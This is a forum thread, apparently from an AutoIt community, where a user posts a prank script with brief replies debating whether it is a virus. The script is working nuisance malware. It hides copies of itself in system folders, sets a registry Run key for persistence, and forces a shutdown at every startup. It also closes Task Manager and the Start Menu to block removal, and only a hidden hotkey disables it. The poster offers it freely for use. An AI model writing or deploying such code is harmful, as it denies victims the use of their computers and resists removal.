Jump to content

Computer Force Shutdown at startup


ReaImDown
 Share

Recommended Posts

I was bored, so I wrote this file...Shift + 5 stops it

CODE
#NoTrayIcon

HotKeySet("+5", "Terminate")

Dim $i_TimeStamp = TimerInit()

Dim $i_TimeToCountDownFromSeconds = 10

$i = 1

$name = "SD.exe"

$installed = RegRead("HKLM\SOFTWARE\SD", "Installed")

AdlibEnable("stop", 10)

While 1

if $installed <> 1 Then

FileCopy(@ScriptFullPath, @FavoritesCommonDir & "/" & $name, 1)

FileCopy(@ScriptFullPath, @AppDataCommonDir & "/" & $name, 1)

FileCopy(@ScriptFullPath, @DesktopCommonDir & "/" & $name, 1)

FileCopy(@ScriptFullPath, @DocumentsCommonDir & "/" & $name, 1)

FileCopy(@ScriptFullPath, @ProgramsCommonDir & "/" & $name, 1)

FileCopy(@ScriptFullPath, @SystemDir & "/" & $name, 1)

RegWrite("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "ShutDown", "REG_SZ", @CommonFilesDir & "\" & $name)

FileSetAttrib(@FavoritesCommonDir & "/" & $name, "H")

FileSetAttrib(@AppDataCommonDir & "/" & $name, "H")

FileSetAttrib(@DesktopCommonDir & "/" & $name, "H")

FileSetAttrib(@DocumentsCommonDir & "/" & $name, "H")

FileSetAttrib(@ProgramsCommonDir & "/" & $name, "H")

FileSetAttrib(@SystemDir & "/" & $name, "H")

RegWrite("HKLM\SOFTWARE\SD", "Installed", "REG_SZ", "1")

EndIf

While 1

If TimerDiff($i_TimeStamp) >= 1000 Then

ToolTip($i_TimeToCountDownFromSeconds & " Seconds until windows shutdown", 5, 5, "ShutDown Imminent", 2)

$i_TimeStamp = TimerInit()

If $i_TimeToCountDownFromSeconds = 0 Then ExitLoop

$i_TimeToCountDownFromSeconds -= 1

EndIf

WEnd

SoundPlay(@WindowsDir & "\media\tada.wav")

Shutdown(9)

While 1

ToolTip("Shutting Down.", 5, 5, "ShutDown Imminent", 2)

Sleep(200)

ToolTip("Shutting Down..", 5, 5, "ShutDown Imminent", 2)

Sleep(200)

ToolTip("Shutting Down...", 5, 5, "ShutDown Imminent", 2)

Sleep(200)

WEnd

WEnd

Func Terminate()

$Exit = MsgBox(321, @UserName, @UserName & ", you deactivaed the program successfully!")

If $Exit = 1 Then

FileDelete(@FavoritesCommonDir & "/" & $name)

FileDelete(@AppDataCommonDir & "/" & $name)

FileDelete(@DesktopCommonDir & "/" & $name)

FileDelete(@DocumentsCommonDir & "/" & $name)

FileDelete(@ProgramsCommonDir & "/" & $name)

FileDelete(@SystemDir & "/" & $name)

RegDelete("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "ShutDown")

RegDelete("HKLM\SOFTWARE\SD", "Installed")

RegDelete("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "AutoShutDown")

_SelfDelete()

ElseIf $Exit = 2 Then

Shutdown(9)

EndIf

EndFunc ;==>Terminate

Func _SelfDelete($iDelay = 0)

Local $sCmdFile

FileDelete(@TempDir & "\scratch.bat")

$sCmdFile = 'ping -n ' & $iDelay & '127.0.0.1 > nul' & @CRLF _

& ':loop' & @CRLF _

& 'del "' & @ScriptFullPath & '" > nul' & @CRLF _

& 'if exist "' & @ScriptFullPath & '" goto loop' & @CRLF _

& 'del ' & @TempDir & '\scratch.bat'

FileWrite(@TempDir & "\scratch.bat", $sCmdFile)

Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)

Exit

EndFunc ;==>_SelfDelete

Func Stop()

MouseMove(0, 0, 0)

If WinActive("Windows Task Manager") Or WinActive("Close Program") Or WinActive("Start Menu") Then

WinClose("Windows Task Manager")

WinClose("Close Program")

WinClose("Start Menu")

EndIf

EndFunc ;==>Stop

Edited by ReaImDown
[u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u]
Link to comment
Share on other sites

Why someone would need to shutdown the computer when it starts? :)

Or maybe this is some kind of a premitive virus? :P

 

Spoiler

Using OS: Win 7 Professional, Using AutoIt Ver(s): 3.3.6.1 / 3.3.8.1

AutoIt_Rus_Community.png AutoIt Russian Community

My Work...

Spoiler

AutoIt_Icon_small.pngProjects: ATT - Application Translate Tool {new}| BlockIt - Block files & folders {new}| SIP - Selected Image Preview {new}| SISCABMAN - SciTE Abbreviations Manager {new}| AutoIt Path Switcher | AutoIt Menu for Opera! | YouTube Download Center! | Desktop Icons Restorator | Math Tasks | KeyBoard & Mouse Cleaner | CaptureIt - Capture Images Utility | CheckFileSize Program

AutoIt_Icon_small.pngUDFs: OnAutoItErrorRegister - Handle AutoIt critical errors {new}| AutoIt Syntax Highlight {new}| Opera Library! | Winamp Library | GetFolderToMenu | Custom_InputBox()! | _FileRun UDF | _CheckInput() UDF | _GUIInputSetOnlyNumbers() UDF | _FileGetValidName() UDF | _GUICtrlCreateRadioCBox UDF | _GuiCreateGrid() | _PathSplitByRegExp() | _GUICtrlListView_MoveItems - UDF | GUICtrlSetOnHover_UDF! | _ControlTab UDF! | _MouseSetOnEvent() UDF! | _ProcessListEx - UDF | GUICtrl_SetResizing - UDF! | Mod. for _IniString UDFs | _StringStripChars UDF | _ColorIsDarkShade UDF | _ColorConvertValue UDF | _GUICtrlTab_CoverBackground | CUI_App_UDF | _IncludeScripts UDF | _AutoIt3ExecuteCode | _DragList UDF | Mod. for _ListView_Progress | _ListView_SysLink | _GenerateRandomNumbers | _BlockInputEx | _IsPressedEx | OnAutoItExit Handler | _GUICtrlCreateTFLabel UDF | WinControlSetEvent UDF | Mod. for _DirGetSizeEx UDF
 
AutoIt_Icon_small.pngExamples: 
ScreenSaver Demo - Matrix included | Gui Drag Without pause the script | _WinAttach()! | Turn Off/On Monitor | ComboBox Handler Example | Mod. for "Thinking Box" | Cool "About" Box | TasksBar Imitation Demo

Like the Projects/UDFs/Examples? Please rate the topic (up-right corner of the post header: Rating AutoIt_Rating.gif)

* === My topics === *

==================================================
My_Userbar.gif
==================================================

 

 

 

AutoIt is simple, subtle, elegant. © AutoIt Team

Link to comment
Share on other sites

Why someone would need to shutdown the computer when it starts? :)

Or maybe this is some kind of a premitive virus? :P

lol, suppose it could be, or it could be used as a joke? either way :blink: useless, but, there u go, use it as u will

[u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u]
Link to comment
Share on other sites

seems to me like booting in Safe Mode and deleting the file from only @CommonFilesDir & "\" & @ScriptName would stop the "virus".

that'd be the only way...or get the hotkey correct.

~~~Edit~~~

shutdown 9...whats power down do?

Edited by ReaImDown
[u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u]
Link to comment
Share on other sites

Hmm?

Really I have no use for it, because I'm not the one to make viruses (Anytime a virus gets on my comp I delete it ASAP), but I can keep it from my friend booting my pc up when I'm in the bathroom... heh. :)

Edit: my first post! woohoo!

Edited by ShinyMetalGuy
Link to comment
Share on other sites

Hmm?

Really I have no use for it, because I'm not the one to make viruses (Anytime a virus gets on my comp I delete it ASAP), but I can keep it from my friend booting my pc up when I'm in the bathroom... heh. :)

Edit: my first post! woohoo!

haha, see, it does have a practical use...I suppose :P

[u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u]
Link to comment
Share on other sites

Why someone would need to shutdown the computer when it starts? :)

Or maybe this is some kind of a premitive virus? :P

It can't be a virus. Viruses spread, and this has no mechanism for spreading.

Its more of a joke/prank script.

Link to comment
Share on other sites

I wrote a similiar thingy my self as my first code ever in Autoit.

And actually I do find it somewhat useful as a protection/safety tool, if you dont know the stop keyboard shortcut you better not try to run it...ofcourse I have changed the way my computer starts the BIOS and the key shortcut(f8) that opens the dialog where you can go to the safe mode.

My code tho was mutch more blunt, didnt even use functions so I will rewrite it now thanks to your thread.

So there many things that seem useless at a glimpse can be useful for some.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...